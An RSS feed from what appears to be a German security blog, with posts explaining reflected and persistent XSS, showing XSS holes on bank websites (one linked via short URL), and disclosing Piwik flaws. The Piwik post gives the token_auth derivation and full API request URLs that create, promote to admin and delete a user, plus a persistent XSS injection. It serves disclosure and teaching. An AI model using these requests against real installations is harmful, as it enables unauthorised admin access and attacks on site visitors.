<p>Da die meisten Opfer arglos sind, klicken sie den Link zur Kurz-URL an und schon sind sie in die Falle getappt und&#8230; sehen in diesem Fall nur eine JavaScript-Alert-Meldung. Bei einem echten b&#246;swilligen Angriff bemerkt das Opfer gar nicht, dass im Hintergrund, f&#252;r ihn nicht sichtbar, etwas geschehen ist, zum Beispiel das Auslesen des Session-Cookie, mit deren Hilfe sich der Angreifer in den Account des Opfers einschleichen kann.</p>
<hr style="clear:both" />
Also noch einmal f&#252;r die Lernschwachen&#8230; ;O)</p>
<p><strong>Ein Angreifer</strong></p>
<ol>
<li>findet eine XSS-L&#252;cke,</li>
<li>nutzt Kurz-URL-Dienste zum verschleiern der manipulierten URL und</li>
<li>verteilt diese Kurz-URL.</li>
</ol>
<p><strong>Das Opfer</strong></p>
<ol>
<li>klickt auf den Link zur Kurz-URL. Der Aufruf mit der manipulierten URL erfolgt vom Browser des Opfers.</li>
<li>Der Server sendet den Schadcode zur&#252;ck an den Absender, den Browser des Opfers.</li>
<li>Der zur&#252;ckgesendete Code f&#252;hrt dann im Browser des Opfers, den meist destruktiven Code des Angreifers aus, der aber vom Opfer selber an den Server gesendet wurde.</li>
</ol>
<hr style="clear:both" />
Wer nun bei &#8220;Kurz-URL&#8221; nur an GET-Request denkt, also wo der Schadcode direkt in der Adresszeile des Browsers sichtbar ist, der sollte bedenken: Im Breitband-Zeitalter sind auch Weiterleitungen, die erst &#252;ber ein Formular auf der Website eines Angreifers laufen (POST-Request), so schnell, dass diese den meisten Opfern nicht auffallen werden. Auch in Anbetracht der manchmal undurchsichtigen Weiterleitungen verschiedener Trackingsysteme zur Aufzeichnung des Nutzerverhaltens, wird der Surfer keinen Verdacht sch&#246;pfen.</p>
<p>&lt;fund_am_rande&gt;<br />
H&#228;ngt man an die bit.ly-Kurz-URL ein Pluszeichens (+), so kann man neben der Statistik (wie oft die URL aufgerufen wurde, woher der Aufruf kam) auch den &#8220;Long Link&#8221; sehen, damit man wei&#223; wohin man weitergeleitet wird.</p>
<p>H&#228;nge ich nun an die obige bit.ly-URL das Pluszeichen ran, sehe ich auch den JavaScript-Alert, was mal wieder zeigt: Viele, sehr viele Websites sind Anf&#228;llig f&#252;r Cross-Site Scripting.<br />
&lt;/fund_am_rande&gt;<br />
<br style="clear:both" /></p>
<h2>Persistentes Cross-Site Scripting</h2>
<p>Auch hier findet ein Angreifer eine XSS-L&#252;cke in einer Website, aber hier wird der Schadcode auf dem Server gespeichert. Foren, G&#228;steb&#252;cher, Kommentare oder auch die Profilseiten eines registrierten Benutzers der Website k&#246;nnen entsprechende L&#252;cken aufweisen, um ausf&#252;hrbaren Code zu speichern. Das Opfer wird in diesem Fall auf eine regul&#228;r erscheinende URL verwiesen, der man nicht ansehen kann, dass dahinter ein Angriff verborgen ist.</p>
<p>F&#252;r diesen Fall k&#246;nnte man die Aussage des BSI zum Teil gelten lassen &mdash; wenn man gn&#228;dig ist. ;O)<br />
<br style="clear:both" /><br />
Am h&#228;ufigsten trifft man auf reflexives Cross-Site Scripting, wahrscheinlich weil Entwickler noch immer meinen, was der Server nicht speichert, das kann auch nicht gef&#228;hrlich sein.<br />
<br style="clear:both" /><br />
Weiter von Seite 12 des PDFs:</p>
<blockquote><p>&#220;ber das „Cross-Site-Scripting“ werden nicht nur die Anbieter, sondern auch die Benutzer der Webseite angegriffen, was einen hohen Imageverlust f&#252;r den Anbieter bedeutet.</p></blockquote>
<p>Das Ziel von XSS-Angriffen sind meist die Besucher einer Website und nicht der Anbieter selber. Ist z.B. mal wieder eine L&#252;cke in Twitter bekannt, so ist beispielsweise das Ziel der Angriffe, unbemerkt einen Wurm von anderen Benutzern weiterverbreiten zu lassen. Hierbei soll die Reputation der Benutzer ausgenutzt werden. Der Betreiber, also Twitter selber, ist hierbei nicht das Ziel des Angriffs. Der Wurm kann Code enthalten um Zugangsdaten zu stehlen oder um einfach nur einen Link zu einem Shop mit Blauen-Pillen zu verbreiten.<br />
<br style="clear:both" /><br />
Mir geht es hier nicht darum, das BSI vorzuf&#252;hren, sondern darum, dass sich Missverst&#228;ndnisse erst gar nicht weiter verbreiten. Es kommt eben manchmal doch auf die Korinthe an die gekackt werden muss.</p>
]]></content:encoded>
			<wfw:commentRss>http://meingottundmeinewelt.de/2011/03/13/bsi-xss-kurz-daneben-ist-auch-vorbei-o/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Leidensdruck ist f&#252;r Banken zu gering</title>
		<link>http://meingottundmeinewelt.de/2011/01/30/leidensdruck-ist-fuer-banken-zu-gering/</link>
		<comments>http://meingottundmeinewelt.de/2011/01/30/leidensdruck-ist-fuer-banken-zu-gering/#comments</comments>
		<pubDate>Sun, 30 Jan 2011 14:27:59 +0000</pubDate>
		<dc:creator>ich</dc:creator>
				<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://meingottundmeinewelt.de/?p=5737</guid>
		<description><![CDATA[&#8220;Druckerh&#246;hung&#8221; (heise.de) Offenbar haben die Banken den Schuss immer noch nicht geh&#246;rt und schludern weiter bei der Sicherheit ihrer Webauftritte [(heise.de)]. Auch beim zweiten Sicherheitstest der anf&#228;lligen Banken fanden sich bei jeder einzelnen weitere L&#252;cken. Der Leidensdruck ist f&#252;r die Banken jedoch gering; letzlich gef&#228;hrden etwa die weit verbreiteten Cross Site Scripting L&#252;cken nicht die [...]]]></description>
			<content:encoded><![CDATA[<p>&#8220;<a target="_blank" href="http://heise.de/-1178191" >Druckerh&#246;hung</a>&#8221; (heise.de)</p>
<blockquote><p> Offenbar haben die Banken den Schuss immer noch nicht geh&#246;rt und schludern weiter bei der <a target="_blank" href="http://heise.de/-1179476" >Sicherheit ihrer Webauftritte</a> [(heise.de)]. Auch beim zweiten Sicherheitstest der anf&#228;lligen Banken fanden sich bei jeder einzelnen weitere L&#252;cken. Der Leidensdruck ist f&#252;r die Banken jedoch gering; letzlich gef&#228;hrden etwa die weit verbreiteten Cross Site Scripting L&#252;cken nicht die eigene Sicherheit sondern die der Kunden.</p></blockquote>
<p><br style="clear:both" /><br />
Auf dieser Seite geht es offensichtlich um &#8220;Sicherheit im Internet&#8221;:<br />
<img src="../../../../../../wp-content/images/vr-medienservice_de.gif" alt="vr-medienservice.de - XSS" /></p>
<p>Auch hier geht es wieder um die Sicherheit f&#252;r die der Kunde sorgen soll:<br />
<img src="../../../../../../wp-content/images/vr-networld_de.gif" alt="vr-networld.de - XSS" /></p>
<p>L&#252;cken zu Cross-Site Scripting findet man in jeder Bank-Website, wenn man keine L&#252;cke gefunden hat, dann hat man nur nicht akribisch genug gesucht. ;O)<br />
<br style="clear:both" /><br />
Erst haben die Banken die EC-Karten eingef&#252;hrt, um die Kosten f&#252;r Personal zu verringern. Nach der Einf&#252;hrung des Online-Bankings sind die Personalkosten pro Kunde auf historische Tiefstst&#228;nde gefallen, wodurch Kapazit&#228;ten f&#252;r &#8220;kreative&#8221; Gesch&#228;fte frei wurden &mdash; deren Kosten der Steuerzahler begleichen musste.</p>
<p>Nach einem Jahrzehnt der Mahnung, dass EC-Karten kopiert werden k&#246;nnen, wird in den n&#228;chsten Jahren hoffentlich endlich die Karte ohne Magnetstreifen kommen: &#8220;<a target="_blank" href="http://heise.de/-1162245" >Schutz vor Skimming: BKA fordert magnetstreifenlose EC-Karten</a>&#8221; (heise.de)<br />
<br style="clear:both" /><br />
Es wird wohl eine weitere Dekade dauern, bis die Banken erkennen, dass die Verantwortlichkeit f&#252;r die Sicherheit im Online-Banking nicht nur beim Kunden abgeladen werden kann.<br />
<img src="../../../../../../wp-content/images/boerse_vr-networld_de.gif" alt="boerse.vr-medienservice.de - XSS" /><br />
Link dazu: <a target="_blank" href="http://bit.ly/dSjYlF" >http://bit.ly/dSjYlF</a> Einfach mal auf &#8220;Home&#8221; klicken&#8230;<br />
<br style="clear:both" /><br />
<strong>Update: 22:00 Uhr</strong></p>
<p>Nur damit niemand meint ich w&#252;rde hier Volks- und Raiffeisenbank-Bashing betreiben&#8230;</p>
<p><img src="../../../../../../wp-content/images/sparkasse_de.gif" alt="sparkasse.de - XSS" /></p>
<p><img src="../../../../../../wp-content/images/sparkassemobile_de.gif" alt="sparkassemobile.de - XSS" /></p>
]]></content:encoded>
			<wfw:commentRss>http://meingottundmeinewelt.de/2011/01/30/leidensdruck-ist-fuer-banken-zu-gering/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Piwik: XSS und etwas CSRF?!</title>
		<link>http://meingottundmeinewelt.de/2011/01/01/piwik-xss-und-etwas-csrf/</link>
		<comments>http://meingottundmeinewelt.de/2011/01/01/piwik-xss-und-etwas-csrf/#comments</comments>
		<pubDate>Sat, 01 Jan 2011 15:21:42 +0000</pubDate>
		<dc:creator>ich</dc:creator>
				<category><![CDATA[CSRF]]></category>
		<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://meingottundmeinewelt.de/?p=5579</guid>
		<description><![CDATA[F&#252;r einen aktuellen Servercheck habe ich mir auch Piwik (de.piwik.org) angeschaut, eine Webanalyse-Software, ganz &#228;hnlich wie Googles Analytics. Wer Piwik nutzt der hat die Hoheit &#252;ber die erhobenen Daten, was bei Google nicht der Fall ist, da wei&#223; niemand was die mit den Daten anstellen und wem sie sie geben. Anl&#228;sslich des 27C3 hat jemand [...]]]></description>
			<content:encoded><![CDATA[<p>F&#252;r einen aktuellen Servercheck habe ich mir auch <a target="_blank" href="http://de.piwik.org/" >Piwik</a> (de.piwik.org) angeschaut, eine Webanalyse-Software, ganz &#228;hnlich wie Googles Analytics. Wer Piwik nutzt der hat die Hoheit &#252;ber die erhobenen Daten, was bei Google nicht der Fall ist, da wei&#223; niemand was die mit den Daten anstellen und wem sie sie geben.</p>
<p>Anl&#228;sslich des 27C3 hat jemand Piwik auf seinem Server installiert und zum Hacken zur Verf&#252;gung gestellt:</p>
<blockquote><p>Wer lust hat mit zu suchen ob/wie man das defacen (ob mit oder ohne login) kann ist herzlich willkommen.</p></blockquote>
<p><a target="_blank" href="http://events.ccc.de/congress/2010/wiki/Hacked" >http://events.ccc.de/congress/2010/wiki/Hacked</a></p>
<p>Nach ein paar Tagen fand auch jemand eine XSS-L&#252;cke, die allerdings nur unter bestimmten Voraussetzungen ausgenutzt werden kann:</p>
<ul>
<li>Das SEO-Widget muss aktiviert sein.</li>
<li>Der anonymous-Account muss &#246;ffentlich zug&#228;nglich sein, ansonsten kann nur</li>
<li>ein eingeloggter Benutzer angegriffen werden.</li>
</ul>
<p>Nach der Installation von Piwik ist das SEO-Widget zwar aktiviert, aber der Benutzer &#8220;anonymous&#8221; ist deaktiviert. D.h. bei der &#252;blichen und weit verbreiteten Konfiguration kann die L&#252;cke nicht ausgenutzt werden. </p>
<p><a href="../../../../../../wp-content/images/piwik-xss-1.gif" rel="lightbox[piwik]" title="Piwik - XSS im SEO-Widget"><img src="../../../../../../wp-content/images/piwik-xss.gif" alt="piwik xss seo widget" /><br />(Ein paar Screenshots zur Erkl&#228;rung.)</a><br />
<br style="clear:both" /><br />
Was ich bei meinen Tests in Piwik aber ungleich interessanter fand, ist die CSRF-L&#252;cke die ohne Angriff auf einen Benutzer auskommt, von daher ist es eigentlich gar keine <a target="_blank" href="http://de.wikipedia.org/wiki/Cross-Site_Request_Forgery" >Cross-Site Request Forgery</a> (de.wikipedia.org). CSRF benutzt i.d.R. die Authentifizierung eines angemeldeten Benutzers, der auf einen pr&#228;parierten Link klicken muss oder eine manipulierte Website ansurft, damit eine Aktion sozusagen in seinem Namen ausgef&#252;hrt wird.</p>
<p>Schaut man sich die Piwik-Statistik an, ob nun als Anonymous, Administrator oder Superuser, so gibt es in der URL bzw. im HTML-Quellcode den Parameter <code>token_auth</code>. Beim Anonymous ist der Token gleich <code>anonymous</code>, bei den anderen Benutzern ist es ein MD5-Hash. Der Hash wird aus dem Benutzernamen und dem Passwort gebildet.</p>
<hr />
Benutzername: <code>admin</code><br />
Passwort: <code>123456789</code><br />
<code>token_auth=<strong>c561acea86161390fe8bc97a433c20ad</strong></code></p>
<p>Plain: <code>123456789</code><br />
MD5 Hash: <code>25f9e794323b453885f5181f1b624d0b</code></p>
<p>Plain: <code>admin25f9e794323b453885f5181f1b624d0b</code><br />
MD5 Hash: <code><strong>c561acea86161390fe8bc97a433c20ad</strong></code></p>
<hr />
In Piwik steht zwar:</p>
<blockquote><p>Der token_auth is so geheim wie Ihr Login und Password, <strong>teilen Sie es niemandem mit</strong>!</p></blockquote>
<p>Aber per Suchmaschine fand ich innerhalb von wenigen Sekunden genau diesen Token.<br />
<br style="clear:both" /><br />
In der Benutzerverwaltung von Piwik steckt ein Fehler, der dazu genutzt werden kann um einen neuen Benutzer</p>
<ul>
<li>neu zu registrieren,</li>
<li>seine Zugriffsrechte zu erh&#246;hen und</li>
<li>ihn auch wieder zu l&#246;schen</li>
</ul>
<p>und dies alles ohne das ein registrierter Benutzer involviert ist. Hierzu bedarf es nur einer Information &mdash; den Inhalt von <code>token_auth</code> des Superusers.</p>
<p><strong>Neuen Benutzer anlegen</strong><br />
<code>http://localhost:8888/piwik10/piwik/index.php<br />
?module=API<br />
&amp;method=UsersManager.addUser<br />
&amp;userLogin=hacker<br />
&amp;password=123456<br />
&amp;email=email2%40domain.com<br />
&amp;alias=alias<br />
&amp;token_auth=c561acea86161390fe8bc97a433c20ad</code></p>
<p><strong>Neuem Benutzer den Status ADMINISTRATOR geben</strong><br />
<code>http://localhost:8888/piwik10/piwik/index.php<br />
?module=API<br />
&amp;method=UsersManager.setUserAccess<br />
&amp;userLogin=hacker<br />
&amp;access=admin<br />
&amp;idSites=1<br />
&amp;token_auth=c561acea86161390fe8bc97a433c20ad</code></p>
<p><strong>Neuen Benutzer l&#246;schen</strong><br />
<code>http://localhost:8888/piwik10/piwik/index.php<br />
?module=API<br />
&amp;method=UsersManager.deleteUser<br />
&amp;userLogin=hacker<br />
&amp;token_auth=c561acea86161390fe8bc97a433c20ad</code></p>
<p>Ich habe dies alles mal in einem Screencast zusammengefasst. Da ich es etwas zu breit aufzeichnen musste, damit man &#252;berhaupt etwas sehen kann, habe ich es auf YouTube hochgeladen: (<a target="_blank" href="http://www.youtube.com/watch?v=wTEcToFuFOI" >http://www.youtube.com/watch?v=wTEcToFuFOI</a>)</p>
<p><object width="500" height="306"><param name="movie" value="http://www.youtube.com/v/wTEcToFuFOI?fs=1&amp;hl=de_DE"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/wTEcToFuFOI?fs=1&amp;hl=de_DE" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="500" height="306"></embed></object></p>
<p>Andere Aktionen des Superusers werden nur ausgef&#252;hrt wenn der Superuser eingeloggt ist, daher gehe ich davon aus dass dies wirklich ein Bug ist und kein Feature. ;O) </p>
<p>Evtl. gibt es auch die M&#246;glichkeit mit der XSS-L&#252;cke an den <code>token_auth</code> des Superusers zu gelangen, dies habe ich noch nicht geschafft &mdash; aber das Jahr ist ja noch jung. :O)</p>
<p>In diesem Sinne<br />
Frohes Neues Jahr (auch den Programmierluschen &lt;g&gt;)<br />
<br style="clear:both" /><br />
Update: 18:00 Uhr</p>
<p>Ich habe noch eine XSS-L&#252;cke gefunden. Die erste L&#252;cke ist reflexiv, diese ist persistent und wird in den &#8220;Zielen&#8221; aktiv:</p>
<p><code>http://localhost:8888/piwik10/piwik/index.php<br />
?idSite=1<br />
&amp;name=%253Chr%253Exss%253Chr%253E<br />
&amp;matchAttribute=url<br />
&amp;patternType=contains<br />
&amp;pattern=xss<br />
&amp;caseSensitive=0<br />
&amp;revenue=0<br />
&amp;idGoal=<br />
&amp;method=Goals.addGoal<br />
&amp;module=API<br />
&amp;token_auth=c561acea86161390fe8bc97a433c20ad</code></p>
<p><img src="../../../../../../wp-content/images/piwik-xss-2.gif" alt="piwik xss seo widget" /></p>
<p>Diese L&#252;cke ist wieder nur ausnutzbar wenn <code>token_auth</code> bekannt ist. Hierbei muss es aber nicht der Token des Superusers sein &mdash; der eines Benutzers mit Rechten eines ADMINISTRATOR reicht aus.</p>
<p>(<a target="_blank" href="http://www.youtube.com/watch?v=kAFpDZa53AA" >http://www.youtube.com/watch?v=kAFpDZa53AA</a>)<br />
<object width="500" height="306"><param name="movie" value="http://www.youtube.com/v/kAFpDZa53AA?fs=1&amp;hl=de_DE"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/kAFpDZa53AA?fs=1&amp;hl=de_DE" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="500" height="306"></embed></object><br />
<br style="clear:both" /><br />
<strong>Update: 02.01.2011 &#8211; 10:40 Uhr</strong></p>
<p>Auch wenn ich per Suchmaschine sehr schnell <code>token_auth</code> von Superusern finden konnte, ist die Anzahl der Funde, im Verh&#228;ltnis zur Verbreitung von Piwik so gering, dass es sich wohl eher um Dummheiten und Missverst&#228;ndnisse auf Seiten der Benutzer handelt, die den API-Code anstatt der Widgets in ihre Websites einf&#252;gen.<br />
<br style="clear:both" /><br />
<strong>Update: 04.01.2011 &#8211; 15:32 Uhr</strong></p>
<p>&#8220;<a target="_blank" href="http://heise.de/-1162955" >Sicherheits-Update f&#252;r Web-Analyse-Software Piwik</a>&#8221; (heise.de)<br />
Auch die beiden XSS-L&#252;cken und die Full Path Disclosure wurden gefixt.</p>
<p><span style="display:none"><br />
<a href="../../../../../../wp-content/images/piwik-xss-1-2.gif" rel="lightbox[piwik]" title="Piwik - XSS im SEO-Widget"></a><br />
<a href="../../../../../../wp-content/images/piwik-xss-1-3.gif" rel="lightbox[piwik]" title="Piwik - XSS im SEO-Widget"></a><br />
<a href="../../../../../../wp-content/images/piwik-xss-1-4.gif" rel="lightbox[piwik]" title="Piwik - XSS im SEO-Widget"></a><br />
</span></p>
]]></content:encoded>
			<wfw:commentRss>http://meingottundmeinewelt.de/2011/01/01/piwik-xss-und-etwas-csrf/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>

